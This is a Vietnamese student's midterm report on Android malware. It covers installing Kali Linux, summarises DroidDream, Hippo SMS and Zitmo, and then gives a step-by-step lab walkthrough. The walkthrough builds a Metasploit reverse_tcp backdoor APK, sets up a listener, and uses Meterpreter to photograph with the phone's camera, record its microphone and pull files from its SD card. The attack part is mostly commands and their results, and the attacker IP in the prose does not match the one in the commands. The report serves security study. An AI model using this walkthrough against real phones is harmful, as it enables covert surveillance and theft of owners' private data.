Báo cáo giữa kỳ

Đề tài : Nghiên cứu các trojan,malware cho phép đánh cắp dữ liệu như danh sách contact, tin nhắn trên

điện thoại sử dụng Android và gửi ra ngoài

SVTT : Vũ Thanh Hiếu

--------------------------------------------------------------------------------------------------------------------------------------

1

BÁO CÁO GIỮA KỲ

MỤC LỤC :

I / Thực hiện trên mạng Lan ( wifi )

1/ Tìm hiểu Kali Linux ......................................................................................................................... 1

2/ Cài đặt Kali Linux trên máy ảo VMWare .................................................................................... 2

3. Nghiên cứu lỗ hổng bảo mật trên Android

3.1. Malware trên Android. ................................................................................................ 10

3.2. Cơ chế hoạt động của Malware. ................................................................................. 10

4. Tạo mã độc trên Kali Linux để xâm nhập Android thực hiện khai thác data

trong SD card , camera , mic của smartphone .................................................................... 11

I / Thực hiện trên mạng Lan ( wifi )

1/ Tìm hiểu Kali Linux

Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để kiểm tra

bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali Linux là BackTrack,

xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa chuộng sử dụng. Sau 7 năm

liên tục phát triển, tháng 3 năm 2013, hãng Offensive Security đã công bố phiên bản mới của

BackTrack có tên là Kali Linux (được xem như phiên bản BackTrack 6). Kali Linux tập hợp và

phân loại gần như tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng

cần sử dụng khi tác nghiệp.

Nói về ưu điểm của Kali là nói về những thay đổi giữa BackTrack và Kali. So với

BackTrack, Kali có rất nhiều cải tiến:

Kali phát triển trên nền tảng hệ điều hành Debian

Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu trữ

phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các

bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date)

đối với các công cụ Penetration Test là một yêu cầu vô cùng quan trọng.




--------------------------------------------------------------------------------------------------------------------------------------

2

Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của

Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống

tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã

nguồn của các công cụ.

Tính tương thích kiến trúc

Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến trúc

ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ đây ta có thể build

Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.

Hỗ trợ mạng không dây tốt hơn

Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ

trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay USB Dongles.

Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây.

Khả năng tùy biến cao

Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao

diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops như GNOME, KDE hoặc

XFCE tùy theo sở thích và thói quen sử dụng.

Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai

Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành

Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài

lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3 năm ngoái).

Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã dễ

dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài

lại mới hoàn toàn nữa

2/ Cài đặt Kali Linux trên máy ảo VMWare

Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới, bài này

ta sẽ tiến hành cài phiên bản Kali Linux 1.0.7 64 bit. http://www.kali.org/downloads/

http://www.kali.org/downloads/




--------------------------------------------------------------------------------------------------------------------------------------

3

Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có thể tìm

trên mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo.

Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual Machine... . Trên

cửa sổ mới mở, chọn custom và nhấn next

Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải trước đó:




--------------------------------------------------------------------------------------------------------------------------------------

4

Đặt tên và đặt đường dẫn cho máy ảo

Tiếp tục chọn cấu hình cho máy ảo, ta có thể để mặc định.

Máy ảo sẽ khởi động và vào giao diện cài đặt, chọn Graphic Install




--------------------------------------------------------------------------------------------------------------------------------------

5

Bấm chọn ngôn ngữ, địa điểm, Host name như khi cài đặt hệ điều hành bình thường...

Tiếp theo chọn Root password, luôn nhớ Root password đã chọn!

Phần Partition chọn Guided – use entire disk và All files in one partition




--------------------------------------------------------------------------------------------------------------------------------------

6

Chọn Finish partitioning and write changes to disk




--------------------------------------------------------------------------------------------------------------------------------------

7

Chọn Yes

Nhấn continue để bắt đầu cài đặt khoảng 15 phút.




--------------------------------------------------------------------------------------------------------------------------------------

8

Sau khi cài đặt xong (quá trình tốn khá nhiều thời gian , tầm 20 phút ) , chọn No ở

Network mirror, chọn Yes ở phần Boot-loader.




--------------------------------------------------------------------------------------------------------------------------------------

9

Sau khi hoàn tất phần cuối và khởi động lại, đến giao diện login ta nhập user là root và

password đã đặt ở phần trước.

Vậy là ta đã hoàn tất cài đặt kali linux trên Vmware




--------------------------------------------------------------------------------------------------------------------------------------

10

3. Nghiên cứu lỗ hổng bảo mật trên Android.

3.1. Malware trên Android.

Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần mềm

máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính mà người sử dụng

không hề hay biết.

Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay mới chỉ

dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó chưa có cơ chế lây lan.

Theo các kết quả trên thì Malware trên Smartphone hiện nay về cách thức hoạt động giống như

một phần mềm gián điệp (Trojan) hơn là một virus

phá hủy.

3.2. Cơ chế hoạt động của Malware.

Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware

DroidDream. Malware này hoạt động qua 2 giai đoạn:

- Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng

chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của

bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.

- Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho phép

quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm

tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được

quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai,

DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này

nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.

Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt đầu việc lây

nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm, checkin….Một điều

nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là Malware DroidDream này được

lập trình để làm hầu hết các công việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng

ngày hôm sau. Đây là khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều

này làm cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc

smartphone của mình.

Mục đích của Malware DroidDream




--------------------------------------------------------------------------------------------------------------------------------------

11

DroidDream được coi là một trong những Malware đầu tiên trên Android, mục đích của

con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự

động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể của nó đã kịp thời biến

đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS được tìm thấy mới đây

có khả năng tự gửi tin nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền

cước phí của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao.

Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động

liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code

dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông qua tin nhắn SMS để chứng thực

sẽ bị thu thập bởi các malware này.

Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại.

Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi,

vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của

người dùng hệ điều hành này.

4. Tạo mã độc trên Kali Linux để xâm nhập Android thực hiện khai thác data trong SD

card , camera , mic của smartphone

Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy android

tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng máy ảo Kali Linux bằng

Vmware, ta nên thiết lập phần Network như sau:

Bấm vào VM -> Settings... ở thanh lựa chọn của Vmware




--------------------------------------------------------------------------------------------------------------------------------------

12

Bấm vào Network Adapter và chọn Bridged: connection directly to the physical

network

Bấm vào Edit -> Virtual Network Editor...




--------------------------------------------------------------------------------------------------------------------------------------

13

Trên phần Bridge (connect VMs directly to the external network) chọn adapter của

máy thật

Sau đây ta vào phần chính tạo backdoor và xâm nhập điều khiển android




--------------------------------------------------------------------------------------------------------------------------------------

14

Đầu tiên mở terminal

192.168.199.139 là địa chỉ IP của máy Kali, ta có thể sử dụng lệnh ifconfig để xem IP

của máy Kali

gõ dòng lệnh

msfpayload android/meterpreter/reverse_tcp lhost=192.168.0.104 lport=8080 R >

/root/Desktop/madoc.apk




--------------------------------------------------------------------------------------------------------------------------------------

15

8080 là số port, có thể chọn port khác, không nên chọn các port thường sử dụng

Lệnh trên sẽ tạo ra 1 file madoc.apk trên desktop của Kali, đây chính là một Metasploit

reverse tcp backdoor.




--------------------------------------------------------------------------------------------------------------------------------------

16

Tiếp theo, gõ lệnh msfconsole




--------------------------------------------------------------------------------------------------------------------------------------

17

Sau khi msfconsole load xong :

ta tạo một handler để xử lí dữ liệu truyền về bằng cách gõ lệnh sau:

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên.

set lport 8080– nhập port giống với port khi tạo payload ở trên.

Exploit

Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.




--------------------------------------------------------------------------------------------------------------------------------------

18

Thử với một máy sony xperia z giả lập, tải về madoc.apk, cài đặt và mở lên được giao

diện như dưới, nhấp vào nút reverse_tcp:




--------------------------------------------------------------------------------------------------------------------------------------

19

Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:




--------------------------------------------------------------------------------------------------------------------------------------

20

Để xem thông tin về máy, nhập lệnh SysInfo

Sử dụng camera:

Để xem danh sách camera, nhập webcam_list

Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở

danh sách camera ở phần trước. Ví dụ như sau:




--------------------------------------------------------------------------------------------------------------------------------------

21

File hình đã chụp từ camera của máy android là XCCRDJmb.jpeg được lưu ở

/root của máy

Ghi âm

Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy




--------------------------------------------------------------------------------------------------------------------------------------

22

Lấy file từ sd card

Để vào sdcard, nhập lệnh :cd /sdcard và lệnh ls để xem danh sách file, thư mục

Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard

Dùng lệnh cd /sdcard/Download để vào thư mục




--------------------------------------------------------------------------------------------------------------------------------------

23

Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh

Download App.apk

Và file này sẽ được tải về thư mục root của máy Kali




--------------------------------------------------------------------------------------------------------------------------------------

24

Link slide :

- Cài đặt Kali Linux : http://www.slideshare.net/anhhieu7/v-thanh-hiu-ci-t-kali-trn-vmware-

37275588?qid=dcdc75e1-7b02-4fd6-8961-9c6b938d5ae2&v=default&b=&from_search=1#

- Tạo mã độc trên Kali Linux để xâm nhập Android : http://www.slideshare.net/anhhieu7/v-

thanh-hiu-to-m-c-trn-kali-linux-xm-nhp-android

Link youtube :

- Cài đặt Kali Linux : https://www.youtube.com/watch?v=Y2qbLB8peJQ

- Tạo mã độc trên Kali Linux để xâm nhập Android : http://youtu.be/twqDSszrQ1o

http://www.slideshare.net/anhhieu7/v-thanh-hiu-ci-t-kali-trn-vmware-37275588?qid=dcdc75e1-7b02-4fd6-8961-9c6b938d5ae2&v=default&b=&from_search=1

http://www.slideshare.net/anhhieu7/v-thanh-hiu-ci-t-kali-trn-vmware-37275588?qid=dcdc75e1-7b02-4fd6-8961-9c6b938d5ae2&v=default&b=&from_search=1

http://www.slideshare.net/anhhieu7/v-thanh-hiu-to-m-c-trn-kali-linux-xm-nhp-android

http://www.slideshare.net/anhhieu7/v-thanh-hiu-to-m-c-trn-kali-linux-xm-nhp-android

https://www.youtube.com/watch?v=Y2qbLB8peJQ

http://youtu.be/twqDSszrQ1o

Education

Báo cáo giữa kỳ